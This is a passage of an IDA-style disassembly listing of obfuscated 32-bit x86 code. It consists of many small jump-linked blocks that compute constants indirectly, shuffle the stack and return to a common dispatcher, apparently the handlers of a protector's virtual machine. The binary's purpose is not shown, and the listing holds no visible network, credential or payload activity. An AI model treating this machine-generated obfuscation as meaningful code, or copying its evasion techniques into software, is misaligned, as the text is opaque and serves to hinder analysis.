		jmp	loc_588B9B
; ---------------------------------------------------------------------------


loc_58B330:				; CODE XREF: sub_581EE9+C340j
		sub	edx, 8B45923Bh
		push	eax
		mov	eax, 151C2943h
		xor	eax, 3B8D2622h
		xor	edx, eax
		mov	eax, [esp-6EC0h+arg_6EB6+2]
		jmp	loc_587A23
; ---------------------------------------------------------------------------


loc_58B34B:				; CODE XREF: sub_581EE9+83E2j
		push	esp
		push	[esp-6EBCh+arg_6EB2+2]
		pop	ebp
		add	esp, 4
		add	ebp, 4
		jmp	loc_58D8DA
; ---------------------------------------------------------------------------


loc_58B361:				; CODE XREF: sub_581EE9+7F6Bj
		sub	esp, 4
		jmp	loc_58A390
; ---------------------------------------------------------------------------


loc_58B369:				; CODE XREF: sub_581EE9+EF14j
		pop	eax
		add	ebx, 4
		push	ebx
		jmp	loc_590AE9
; ---------------------------------------------------------------------------


loc_58B376:				; CODE XREF: sub_581EE9+F107j
		mov	esi, 74D20251h
		shl	esi, 4
		jmp	loc_586D8A
; ---------------------------------------------------------------------------


loc_58B383:				; CODE XREF: sub_581EE9+A52Fj
		sub	esi, eax
		pop	eax
		or	eax, esi
		jmp	loc_591564
; ---------------------------------------------------------------------------


loc_58B38D:				; CODE XREF: sub_581EE9+8174j
		mov	ecx, 4
		sub	[esp-6E82h+arg_6E7C+2],	6A0C491Fh
		jmp	loc_58DB3C
; ---------------------------------------------------------------------------


loc_58B39F:				; CODE XREF: sub_581EE9+CA7Fj
		push	ebx
		mov	ebx, 248312E9h
		dec	ebx
		add	ebx, 2D61623h
		or	edx, ebx
		pop	ebx
		or	edx, 6BA1093Fh
		xor	edx, 2F8DBB07h
		push	esi
		mov	esi, esp
		jmp	loc_589A03
; ---------------------------------------------------------------------------


loc_58B3C3:				; CODE XREF: sub_581EE9+975Cj
		add	edx, ebx
		pop	ebx
		xchg	edx, dword ptr [esp-6E82h+arg_6E7A]
		mov	esp, dword ptr [esp-6E82h+arg_6E7A]
		add	esp, 4
		sub	ebx, 68A45163h
		sub	ebx, 38A751DCh
		push	ebp
		push	eax
		mov	eax, 34CF2876h
		mov	ebp, eax
		pop	eax
		add	ebx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 15102AB3h
		add	ebx, ecx
		pop	ecx
		sub	ebx, 0D291F94h
		add	ebx, eax
		jmp	loc_5895CB
; ---------------------------------------------------------------------------
		push	261Ah
		mov	dword ptr [esp-6E82h+arg_6E7A],	ebx
		mov	ebx, 26D5334Ch
		add	ebx, 0D92ACCF0h
		add	ebx, edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-6E7Eh+arg_6E76]
		pop	esp
		mov	dword ptr [esp-6E82h+arg_6E7A],	edx
		push	0
		jmp	loc_590A02
; ---------------------------------------------------------------------------


loc_58B433:				; CODE XREF: sub_581EE9+87D8j
		neg	ebx
		xchg	ebx, [esp-6EACh+arg_6EA4]
		push	[esp-6EACh+arg_6EA4]
		mov	eax, [esp-6EA8h+arg_6E9E+2]
		add	esp, 4
		add	esp, 4
		sub	eax, 5203B897h
		push	edx
		mov	edx, eax
		mov	ecx, edx
		mov	edx, [esp-6EACh+arg_6EA4]
		add	esp, 4
		pop	eax
		rep movsd
		add	esp, [edx+38h]
		push	eax
		mov	eax, 5B1F5203h
		jmp	loc_58AE83
; ---------------------------------------------------------------------------


loc_58B468:				; CODE XREF: sub_581EE9+CC1Fj
		add	edx, eax
		jmp	loc_58D462
; ---------------------------------------------------------------------------


loc_58B46F:				; CODE XREF: sub_581EE9+7A0Aj
		add	edi, ecx
		jmp	loc_58E6A3
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp+0], cl
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58B486:				; CODE XREF: sub_581EE9+A797j
		push	ebx
		mov	ebx, 1
		push	ebx
		pop	edx
		pop	ebx
		mov	ebx, edx
		pop	edx
		jmp	loc_58A2A9
; ---------------------------------------------------------------------------


loc_58B497:				; CODE XREF: sub_581EE9+D181j
		sub	esp, 2
		jmp	loc_587528
; ---------------------------------------------------------------------------


loc_58B4A2:				; DATA XREF: sub_581EE9+3C23o
		push	[esp-6EB4h+arg_6EAC]
		jmp	loc_591AAF
; ---------------------------------------------------------------------------


loc_58B4AA:				; CODE XREF: sub_581EE9+BDF8j
		pop	eax
		pop	[esp-6EB4h+arg_6EAC]
		pop	esp
		push	162Bh
		mov	[esp+0], edi
		jmp	loc_58E26E
; ---------------------------------------------------------------------------


loc_58B4BC:				; DATA XREF: sub_581EE9+3D4Fo
		mov	eax, 63FD2381h
		add	eax, 43EF7BEEh
		sub	esp, 4
		mov	[esp-6EB4h+arg_6EAC], ebp
		push	edi
		jmp	loc_58956C
; ---------------------------------------------------------------------------


loc_58B4D5:				; CODE XREF: sub_581EE9+B5B6j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-6EB0h+arg_6EA8]
		pop	esp
		jmp	loc_58BA20
; ---------------------------------------------------------------------------


loc_58B4EA:				; CODE XREF: sub_581EE9+A082j
		and	esi, ecx
		pop	ecx
		jmp	loc_5879DE
; ---------------------------------------------------------------------------


loc_58B4F2:				; CODE XREF: sub_581EE9+42FBj
		add	esp, 4
		shl	ebx, 6
		shr	ebx, 7
		or	ebx, 54044D88h
		push	ebp
		push	ecx
		mov	ecx, 27B05234h
		inc	ecx
		sub	ecx, 0F11CE19Eh
		jmp	loc_588CA5
; ---------------------------------------------------------------------------


loc_58B517:				; CODE XREF: sub_581EE9+DF83j
		mov	[esp-6EBEh+arg_6EB6], edx
		push	10000h
		pop	edx
		and	eax, edx
		push	[esp-6EBEh+arg_6EB6]
		pop	edx
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		xchg	eax, ebp
		xchg	eax, ebp
		push	eax
		push	esp
		pop	eax
		jmp	loc_586856
; ---------------------------------------------------------------------------


loc_58B53B:				; CODE XREF: sub_581EE9+C0E0j
		push	[esp-6EBEh+arg_6EB6]
		pop	edx
		push	ebp
		jmp	loc_585F79
; ---------------------------------------------------------------------------


loc_58B545:				; CODE XREF: sub_581EE9+55D2j
		pop	esp
		push	[esp-6ECEh+arg_6EC6]
		mov	eax, [esp-6ECAh+arg_6EC2]
		jmp	loc_588831
; ---------------------------------------------------------------------------


loc_58B551:				; CODE XREF: sub_581EE9+A3FBj
		mov	cl, 0FFh
		jmp	loc_591661
; ---------------------------------------------------------------------------


loc_58B558:				; CODE XREF: sub_581EE9+E189j
		push	70104Eh
		jmp	loc_59126F
; ---------------------------------------------------------------------------


loc_58B562:				; CODE XREF: sub_581EE9+8941j
		pop	ebx
		add	esp, 4
		jmp	loc_588EBB
; ---------------------------------------------------------------------------


loc_58B56B:				; CODE XREF: sub_581EE9+772Aj
		inc	ebp
		xor	ebp, 39F8320Fh
		xor	ebp, 345C2D22h
		mov	edi, ebp
		pop	ebp
		mov	ebp, 77056A70h
		jmp	loc_58D14B
; ---------------------------------------------------------------------------


loc_58B585:				; CODE XREF: sub_581EE9+D36Cj
		xor	ecx, ebp
		pop	ebp
		and	ecx, 576B2891h
		shr	ecx, 7
		neg	ecx
		sub	ecx, 0FF5DEBFEh
		jmp	loc_58AD48
; ---------------------------------------------------------------------------


loc_58B59E:				; CODE XREF: sub_581EE9+A561j
		add	ebp, 18BA2CAAh
		add	ebp, 3A6B0133h
		pop	edx
		push	136Ch
		jmp	loc_58FF76
; ---------------------------------------------------------------------------


loc_58B5B5:				; CODE XREF: sub_581EE9+60EDj
		push	ebx
		push	esp
		jmp	loc_58F5F3
; ---------------------------------------------------------------------------


loc_58B5BC:				; CODE XREF: sub_581EE9+BF4Dj
		pop	esp
		mov	[esp-6ECEh+arg_6EC6], eax
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58B5C5:				; CODE XREF: sub_581EE9+F74Dj
		push	esi
		mov	esi, 78BC411Dh
		dec	esi
		sub	esi, 0FFFFFFFFh
		add	esi, 26A32C71h
		sub	esi, 959BF11Eh
		mov	edi, esi
		pop	esi
		shl	edi, 3
		or	edi, 2558273Fh
		xor	edi, 6A660D61h
		dec	edi
		sub	edi, 4E13523Bh
		add	edi, 56AF67B0h
		shr	edi, 6
		shl	edi, 5
		xor	edi, 763E6A75h
		add	eax, edi
		jmp	loc_589116
; ---------------------------------------------------------------------------


loc_58B60D:				; CODE XREF: sub_581EE9+6110j
		mov	esi, 2
		add	edx, esi
		pop	esi
		xor	edx, [esp-6ECAh+arg_6EC2]
		jmp	loc_58E819
; ---------------------------------------------------------------------------


loc_58B61D:				; CODE XREF: sub_581EE9+E5F3j
		add	edx, 4
		push	3C72h
		mov	[esp-6EC6h+arg_6EBE], ebx
		mov	ebx, 52B42575h
		shr	ebx, 3
		neg	ebx
		inc	ebx
		and	ebx, 3EA0052h
		shr	ebx, 2
		xor	ebx, 6A0010h
		jmp	loc_58B3C3
; ---------------------------------------------------------------------------


loc_58B64A:				; CODE XREF: sub_581EE9+7491j
		pop	edi
		push	ecx
		mov	ecx, 0D3E199Eh
		sub	ecx, 93219CAEh
		sub	ebx, 15A77AA3h
		add	ebx, ecx
		add	ebx, 15A77AA3h
		pop	ecx
		sub	ebp, ebx
		pop	ebx
		jmp	loc_58F27C
; ---------------------------------------------------------------------------


loc_58B66E:				; CODE XREF: sub_581EE9+F609j
		not	edi
		add	edi, 1E224DE9h
		and	edi, 2D985985h
		shr	edi, 6
		add	edi, 0FFFFFFBEh
		push	ebp
		mov	ebp, edi
		mov	eax, ebp
		pop	ebp
		mov	edi, [esp-6EC8h+arg_6EBE+2]
		add	esp, 4
		add	ecx, eax
		pop	eax
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp-6ED0h+arg_6EC6+2]
		jmp	loc_587E16
; ---------------------------------------------------------------------------


loc_58B6A5:				; CODE XREF: sub_581EE9+516Aj
		or	ch, 0D1h
		push	ebx
		mov	bl, 0B4h
		xor	ch, bl
		pop	ebx
		xor	ch, 0C1h
		add	bl, 7Eh
		jmp	loc_589647
; ---------------------------------------------------------------------------


loc_58B6B9:				; CODE XREF: sub_581EE9+6807j
		mov	edi, 0DA74EAFh
		add	edi, 0F258B153h
		push	5C41h
		mov	[esp-6EA4h+arg_6E9A+2],	edi
		jmp	loc_58D352
; ---------------------------------------------------------------------------


loc_58B6D1:				; CODE XREF: sub_581EE9+51E8j
		add	edi, 175B04ABh
		add	edi, 8E6E62Bh
		sub	edx, edi
		pop	edi
		jmp	loc_588BCF
; ---------------------------------------------------------------------------


loc_58B6E5:				; CODE XREF: sub_581EE9+D177j
		push	[esp-6EF8h+arg_6EF0]
		pop	eax
		push	edx
		jmp	loc_58FC61
; ---------------------------------------------------------------------------


loc_58B6EF:				; CODE XREF: sub_581EE9+549Dj
		pop	ecx
		jmp	loc_58A5F9
; ---------------------------------------------------------------------------


loc_58B6F5:				; CODE XREF: sub_581EE9+F127j
		sub	eax, 217A5FCAh
		add	edx, eax
		push	[esp-6EE6h+arg_6EDC+2]
		pop	eax
		push	ebx
		mov	ebx, esp
		jmp	loc_5903F7
; ---------------------------------------------------------------------------


loc_58B708:				; CODE XREF: sub_581EE9+9CF3j
		mov	ebp, 76622E38h
		jmp	loc_58A841
; ---------------------------------------------------------------------------


loc_58B712:				; CODE XREF: sub_581EE9+E90Bj
		mov	ch, dl
		pop	edx
		mov	bl, 0A1h
		push	edx
		mov	dh, 10h
		jmp	loc_58F1F2
; ---------------------------------------------------------------------------


loc_58B71F:				; CODE XREF: sub_581EE9+527Aj
		mov	ecx, [esp-6EE4h+arg_6EDC]
		add	esp, 4
		jmp	loc_58CFE0
; ---------------------------------------------------------------------------


loc_58B72A:				; CODE XREF: sub_581EE9+A322j
		push	50F9h
		mov	[esp-6EE4h+arg_6EDC], esp
		add	[esp-6EE4h+arg_6EDC], 4
		jmp	loc_58847E
; ---------------------------------------------------------------------------


loc_58B73B:				; CODE XREF: sub_581EE9+E825j
		dec	edx
		push	0
		sub	[esp-6EE0h+arg_6ED6+2],	edx
		pop	edx
		jmp	loc_58A439
; ---------------------------------------------------------------------------


loc_58B74A:				; CODE XREF: sub_581EE9+E4DCj
		push	ecx
		jmp	loc_59003F
; ---------------------------------------------------------------------------


loc_58B750:				; CODE XREF: sub_581EE9+81DEj
		mov	bl, al
		mov	dl, bl
		pop	ebx
		pop	eax
		sub	dl, 0FFh
		xor	dl, 0C8h
		jmp	loc_590EB0
; ---------------------------------------------------------------------------


loc_58B761:				; CODE XREF: sub_581EE9+5409j
		xor	edi, 31361017h
		push	ecx
		mov	ecx, 410E6420h
		add	edi, ecx
		pop	ecx
		xchg	eax, edi
		not	eax
		xchg	eax, edi
		add	edi, 68341EB2h
		push	74BEh
		mov	[esp-6EE6h+arg_6EDC+2],	ecx
		mov	ecx, 283508E7h
		sub	eax, ecx
		jmp	loc_58979C
; ---------------------------------------------------------------------------


loc_58B78E:				; CODE XREF: sub_581EE9+B625j
		pop	esp
		jmp	loc_58C145
; ---------------------------------------------------------------------------


loc_58B794:				; CODE XREF: sub_581EE9+DE4Cj
		mov	[esp-6EEAh+arg_6EE0+2],	ecx
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58B79C:				; CODE XREF: sub_581EE9+8598j
		pop	eax
		add	esp, 4
		push	esi
		mov	esi, 447A757Dh
		push	ebp
		mov	ebp, 69095273h
		jmp	loc_58D38D
; ---------------------------------------------------------------------------


loc_58B7B4:				; CODE XREF: sub_581EE9+E561j
		pop	edi
		pop	eax
		xor	esi, ecx
		mov	ecx, [esp-6EC6h+arg_6EBE]
		jmp	loc_5878EA
; ---------------------------------------------------------------------------


loc_58B7C0:				; CODE XREF: sub_581EE9+41FCj
		add	ch, dh
		pop	edx
		jmp	loc_58DCFD
; ---------------------------------------------------------------------------


loc_58B7C8:				; CODE XREF: sub_581EE9+776Cj
		push	cx
		mov	ch, 88h
		jmp	loc_58ED20
; ---------------------------------------------------------------------------


loc_58B7D1:				; CODE XREF: sub_581EE9+59ACj
		pop	ecx
		mov	edi, esi
		pop	esi
		and	eax, edi
		pop	edi
		or	edx, eax
		jmp	loc_58FD4D
; ---------------------------------------------------------------------------


loc_58B7DF:				; CODE XREF: sub_581EE9+FA4Dj
		xchg	edi, ecx
		pop	edi
		jmp	loc_58937F
; ---------------------------------------------------------------------------


loc_58B7E7:				; CODE XREF: sub_581EE9+A3D6j
		shl	eax, 2
		shl	eax, 4
		jmp	loc_587813
; ---------------------------------------------------------------------------


loc_58B7F2:				; CODE XREF: sub_581EE9+E019j
		mov	esi, [esp-6ECEh+arg_6EC6]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-6ECAh+arg_6EC2]
		pop	esp
		push	[esp-6ECEh+arg_6EC6]
		pop	ecx
		push	ebp
		push	esp
		jmp	loc_58BF89
; ---------------------------------------------------------------------------


loc_58B813:				; CODE XREF: sub_581EE9+B6CEj
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_590FF5
; ---------------------------------------------------------------------------


loc_58B820:				; CODE XREF: sub_581EE9+6C98j
		push	eax
		push	esp
		mov	eax, [esp-6EEAh+arg_6EE0+2]
		jmp	loc_591A93
; ---------------------------------------------------------------------------


loc_58B82A:				; CODE XREF: sub_581EE9+B89Ej
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58B82F:				; CODE XREF: sub_581EE9+C68Bj
		xchg	eax, [esp-6EEAh+arg_6EE0+2]
		jmp	loc_58918E
; ---------------------------------------------------------------------------


loc_58B837:				; CODE XREF: sub_581EE9+C5CDj
		mov	ebp, [esp-6EEAh+arg_6EE0+2]
		jmp	loc_59093B
; ---------------------------------------------------------------------------
		push	[esp-6EEAh+arg_6EE0+2]
		mov	eax, [esp-6EE6h+arg_6EDC+2]
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5898C7
; ---------------------------------------------------------------------------


loc_58B86C:				; CODE XREF: sub_581EE9+AEB6j
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp+0]
		pop	esp
		push	33h
		mov	[esp+0], edx
		push	eax
		mov	ah, 0Fh
		or	ah, 0B6h
		not	ah
		xor	ah, 0E9h
		dec	ah
		not	ah
		sub	ah, 0C5h
		mov	dh, ah
		pop	eax
		push	ebx
		jmp	loc_58D793
; ---------------------------------------------------------------------------


loc_58B89C:				; CODE XREF: sub_581EE9+CE24j
		push	eax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58B8A3:				; CODE XREF: sub_581EE9+8156j
		mov	ecx, 32202F03h
		sub	ecx, 2921B1h
		add	esi, ecx
		pop	ecx
		pop	eax
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		xor	esi, [esp-6E86h+arg_6E7C+2]
		jmp	loc_589CFE
; ---------------------------------------------------------------------------


loc_58B8C3:				; CODE XREF: sub_581EE9+A9EFj
		mov	ebp, 0FFFFFFFFh
		add	ecx, ebp
		mov	ebp, [esp-6E86h+arg_6E7C+2]
		add	esp, 4
		shr	ecx, 5
		shl	ecx, 6
		shl	ecx, 7
		xor	ecx, 5F8554DCh
		jmp	loc_58872C
; ---------------------------------------------------------------------------


loc_58B8E7:				; CODE XREF: sub_581EE9+EB21j
		not	[esp-6E8Ah+arg_6E80+2]
		pop	ebx
		not	ebx
		shr	ebx, 6
		sub	ebx, 1968372Ah
		xor	ebx, 0F5B337D5h
		add	edx, ebx
		jmp	loc_58FD5F
; ---------------------------------------------------------------------------


loc_58B903:				; CODE XREF: sub_581EE9+906Bj
		or	ecx, 542C1820h
		jmp	loc_58A4A4
; ---------------------------------------------------------------------------


loc_58B90E:				; CODE XREF: sub_581EE9+E797j
		pop	esp
		mov	ebx, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	7773h
		mov	[esp-6EF4h+arg_6EEC], ecx
		mov	ecx, 5EFA7D55h
		sub	ecx, 5EFA7D51h
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp-6EF8h+arg_6EF0]
		pop	esp
		push	dx
		jmp	loc_5870AB
; ---------------------------------------------------------------------------


loc_58B93C:				; CODE XREF: sub_581EE9+F934j
		mov	[esp-6EFAh+arg_6EF0+2],	ebx
		jmp	loc_58EB15
; ---------------------------------------------------------------------------


loc_58B944:				; CODE XREF: sub_581EE9+5575j
		pop	ebx
		add	esi, eax
		jmp	loc_5892E9
; ---------------------------------------------------------------------------


loc_58B94C:				; CODE XREF: sub_581EE9+610Aj
		pop	esi
		sub	edi, eax
		sub	edi, 774C71BFh
		pop	eax
		push	edi
		jmp	loc_58BB18
; ---------------------------------------------------------------------------


loc_58B95C:				; CODE XREF: sub_581EE9+4AA3j
		pop	ecx
		add	ebp, 4
		jmp	loc_58F289
; ---------------------------------------------------------------------------


loc_58B968:				; CODE XREF: sub_581EE9+84ECj
		mov	edi, 5CDE43B1h
		shr	edi, 6
		xor	edi, 173790Ah
		add	esi, edi
		pop	edi
		add	esi, 4
		xchg	esi, [esp-6EEEh+arg_6EE4+2]
		pop	esp
		jmp	loc_58D655
; ---------------------------------------------------------------------------


loc_58B988:				; CODE XREF: sub_581EE9+8999j
		push	ebp
		mov	ebp, 2
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp-6ECEh+arg_6EC6]
		pop	esp
		mov	ax, word ptr [esp-6ED2h+arg_6ECA]
		push	1115h
		mov	[esp-6ECEh+arg_6EC6], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_590216
; ---------------------------------------------------------------------------


loc_58B9AE:				; CODE XREF: sub_581EE9+DD80j
		mov	edi, 4A461007h
		push	ecx
		jmp	loc_589AF5
; ---------------------------------------------------------------------------


loc_58B9B9:				; CODE XREF: sub_581EE9+45F5j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-6EE6h+arg_6EDC+2]
		mov	esp, [esp-6EE6h+arg_6EDC+2]
		sub	bl, 28h
		jmp	loc_588EF8
; ---------------------------------------------------------------------------


loc_58B9D3:				; CODE XREF: sub_581EE9+B4BEj
		mov	ecx, [esp-6EE6h+arg_6EDC+2]
		push	eax
		push	esp
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, 4
		mov	edx, ecx
		mov	ecx, [esp-6EDAh+arg_6ED2]
		add	esp, 4
		sub	eax, 20A52EB2h
		add	eax, edx
		add	eax, 20A52EB2h
		pop	edx
		add	eax, 4
		push	9EEh
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_5890CB
; ---------------------------------------------------------------------------


loc_58BA11:				; CODE XREF: sub_581EE9+6A13j
		pop	edi
		push	eax
		mov	eax, 0D95BB35Dh
		sub	esi, eax
		pop	eax
		jmp	loc_589668
; ---------------------------------------------------------------------------


loc_58BA20:				; CODE XREF: sub_581EE9+95FCj
		shl	ecx, 3
		shr	ecx, 8
		jmp	loc_58D072
; ---------------------------------------------------------------------------


loc_58BA2B:				; CODE XREF: sub_581EE9+E73Bj
		push	cx
		jmp	loc_58DC43
; ---------------------------------------------------------------------------


loc_58BA32:				; CODE XREF: sub_581EE9+E609j
		sub	bl, ch
		push	eax
		jmp	loc_58A523
; ---------------------------------------------------------------------------


loc_58BA3A:				; CODE XREF: sub_581EE9+B464j
		inc	eax
		jmp	loc_58EEA1
; ---------------------------------------------------------------------------


loc_58BA40:				; CODE XREF: sub_581EE9+C49Bj
		dec	[esp-6EAEh+arg_6EA4+2]
		not	[esp-6EAEh+arg_6EA4+2]
		push	[esp-6EAEh+arg_6EA4+2]
		pop	ebx
		jmp	loc_58D3CC
; ---------------------------------------------------------------------------


loc_58BA4F:				; CODE XREF: sub_581EE9+47F0j
		pop	ebp
		mov	esi, [esp-6EFAh+arg_6EF0+2]
		jmp	loc_58CF1A
; ---------------------------------------------------------------------------


loc_58BA58:				; CODE XREF: sub_581EE9+AA43j
		shl	edi, 2
		jmp	loc_58A17F
; ---------------------------------------------------------------------------


loc_58BA60:				; DATA XREF: sub_581EE9+3CDBo
		movzx	ax, byte ptr [edx]
		push	small 30BCh
		mov	word ptr [esp-6EF8h+arg_6EF0], ax
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58BA71:				; CODE XREF: sub_581EE9+8DBBj
		sub	ecx, eax
		pop	eax
		add	ecx, ebp
		add	ecx, 64150DBFh
		mov	ebp, [esp-6EC8h+arg_6EBE+2]
		jmp	loc_58D574
; ---------------------------------------------------------------------------


loc_58BA84:				; CODE XREF: sub_581EE9+D42Cj
		and	bl, 98h
		or	bl, 0EAh
		push	cx
		mov	cl, 6
		add	bl, cl
		pop	cx
		shr	bl, 6
		jmp	loc_590421
; ---------------------------------------------------------------------------


loc_58BA9A:				; DATA XREF: sub_581EE9+3CB7o
		push	[esp-6EC8h+arg_6EBE+2]
		mov	ecx, [esp-6EC4h+arg_6EBA+2]
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esp, 4
		mov	[esp-6EC0h+arg_6EB6+2],	ecx
		jmp	loc_59140E
; ---------------------------------------------------------------------------


loc_58BABA:				; CODE XREF: sub_581EE9+9FB0j
		add	esi, 7791773h
		shr	esi, 8
		push	ecx
		mov	ecx, 775C37ECh
		dec	ecx
		jmp	loc_58BF65
; ---------------------------------------------------------------------------


loc_58BACF:				; CODE XREF: sub_581EE9+617Ej
		push	ebx
		mov	bh, 61h
		jmp	loc_58E556
; ---------------------------------------------------------------------------


loc_58BAD7:				; CODE XREF: sub_581EE9+B214j
		mov	ebp, 0
		push	ebp
		pop	dword ptr [edi+20h]
		push	[esp-6EBEh+arg_6EB6]
		pop	ebp
		push	3ED3h
		jmp	loc_588148
; ---------------------------------------------------------------------------


loc_58BAEE:				; CODE XREF: sub_581EE9+7A74j
		mov	ecx, ebx
		jmp	loc_58EB85
; ---------------------------------------------------------------------------


loc_58BAF5:				; CODE XREF: sub_581EE9+D37Aj
		mov	ah, 9Ch
		add	ah, 0FFh
		shr	ah, 5
		sub	ah, 73h
		add	ah, 0BCh
		jmp	loc_5882F7
; ---------------------------------------------------------------------------


loc_58BB08:				; CODE XREF: sub_581EE9+7E71j
		xor	ebx, 0D687A4B7h
		sub	esi, ebx
		pop	ebx
		mov	eax, esi
		jmp	loc_585E0A
; ---------------------------------------------------------------------------


loc_58BB18:				; CODE XREF: sub_581EE9+9A6Ej
		push	[esp-6ECEh+arg_6ECA]
		mov	edi, [esp-6ECAh+arg_6EC2]
		add	esp, 4
		pop	[esp-6ECEh+arg_6EC6]
		mov	esp, [esp-6ED2h+arg_6ECA]
		mov	[esp-6ED2h+arg_6ECA], eax
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58BB33:				; CODE XREF: sub_581EE9+8542j
		push	esi
		mov	esi, 3BD70B3Dh
		jmp	loc_58BC0C
; ---------------------------------------------------------------------------


loc_58BB3E:				; CODE XREF: sub_581EE9+C109j
		add	edx, ecx
		mov	ecx, [esp-6EF8h+arg_6EF0]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-6EF8h+arg_6EF0]
		pop	esp
		mov	[esp+0], ebp
		mov	ebp, 2
		sub	edx, ebp
		pop	ebp
		xor	edx, [esp-6F00h+arg_6EF6+2]
		xor	[esp-6F00h+arg_6EF6+2],	edx
		xor	edx, [esp-6F00h+arg_6EF6+2]
		jmp	loc_586F0B
; ---------------------------------------------------------------------------


loc_58BB72:				; CODE XREF: sub_581EE9+D69Ej
		mov	esp, [esp-6F00h+arg_6EF6+2]
		mov	[esp-6F00h+arg_6EF6+2],	ebx
		mov	ebx, 1Ch
		sub	ebx, 6B971B2Ah
		add	ebx, edi
		add	ebx, 6B971B2Ah
		jmp	loc_59193B
; ---------------------------------------------------------------------------


loc_58BB90:				; DATA XREF: sub_581EE9+3BEBo
		push	dword ptr [edi+2Ch]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58BB98:				; CODE XREF: sub_581EE9+A390j
		shl	al, 2
		inc	al
		jmp	loc_58951E
; ---------------------------------------------------------------------------


loc_58BBA2:				; CODE XREF: sub_581EE9+83B3j
		add	esp, 4
		sub	ebp, 3B9F4334h
		add	eax, ebp
		jmp	loc_5882A3
; ---------------------------------------------------------------------------


loc_58BBB5:				; CODE XREF: sub_581EE9+FC82j
		sub	al, bl
		sub	al, 4Eh
		sub	esp, 4
		mov	[esp-6EC6h+arg_6EBE], ebx
		mov	bh, 92h
		sub	al, bh
		jmp	loc_5898BF
; ---------------------------------------------------------------------------


loc_58BBC8:				; CODE XREF: sub_581EE9+B120j
		push	6F03h
		mov	[esp-6EC2h+arg_6EBA], esi
		mov	esi, edi
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		jmp	loc_58B708
; ---------------------------------------------------------------------------


loc_58BBE1:				; CODE XREF: sub_581EE9+485Ej
		mov	ebp, 18351118h
		mov	eax, ebp
		pop	ebp
		add	eax, 0E7CAEEECh
		add	edi, eax
		push	[esp-6EF2h+arg_6EE8+2]
		pop	eax
		add	esp, 4
		jmp	loc_58B29B
; ---------------------------------------------------------------------------


loc_58BBFC:				; CODE XREF: sub_581EE9+A160j
		push	ecx
		mov	ecx, 1
		push	edx
		push	ecx
		pop	edx
		mov	eax, edx
		jmp	loc_589CBF
; ---------------------------------------------------------------------------


loc_58BC0C:				; CODE XREF: sub_581EE9+9C50j
		sub	ebx, esi
		pop	esi
		pop	dword ptr [eax]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58BC16:				; CODE XREF: sub_581EE9+7BCEj
		push	759h
		mov	[esp-6EB2h+arg_6EA8+2],	edi
		push	[esp-6EB2h+arg_6EA8+2]
		mov	edx, [esp-6EAEh+arg_6EA4+2]
		jmp	loc_58AB31
; ---------------------------------------------------------------------------


loc_58BC29:				; CODE XREF: sub_581EE9+D3E6j
		push	esp
		mov	ecx, dword ptr [esp-6EAAh+arg_6EA2]
		add	esp, 4
		jmp	loc_5908BB
; ---------------------------------------------------------------------------


loc_58BC38:				; CODE XREF: sub_581EE9+FB04j
		sub	eax, 4
		xchg	eax, [esp-6EAEh+arg_6EA4+2]
		pop	esp
		mov	[esp-6EB2h+arg_6EA8+2],	edi
		sub	esp, 4
		mov	[esp-6EAEh+arg_6EA4+2],	edx
		mov	edx, 3EEB75FDh
		mov	edi, 3EEB75FCh
		jmp	loc_590F44
; ---------------------------------------------------------------------------


loc_58BC5C:				; CODE XREF: sub_581EE9+D64Dj
		pop	eax
		mov	ebx, esi
		mov	esi, [esp-6EB2h+arg_6EA8+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-6EAEh+arg_6EA4+2]
		jmp	loc_588236
; ---------------------------------------------------------------------------


loc_58BC76:				; CODE XREF: sub_581EE9+7258j
		push	edx
		add	[esp-6EE0h+arg_6ED6+2],	6442126Eh
		mov	ebx, [esp-6EE0h+arg_6ED6+2]
		add	esp, 4
		push	edx
		mov	edx, 6442126Eh
		add	ebx, 0A075BF6h
		sub	ebx, edx
		sub	ebx, 0A075BF6h
		pop	edx
		pop	edx
		jmp	loc_58F0FE
; ---------------------------------------------------------------------------


loc_58BCA2:				; CODE XREF: sub_581EE9+52C3j
		push	ax
		pushf
		jmp	loc_58D0B6
; ---------------------------------------------------------------------------


loc_58BCAA:				; CODE XREF: sub_581EE9+D88Fj
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58BCAF:				; DATA XREF: sub_581EE9+3C93o
		lodsb
		jmp	loc_589B40
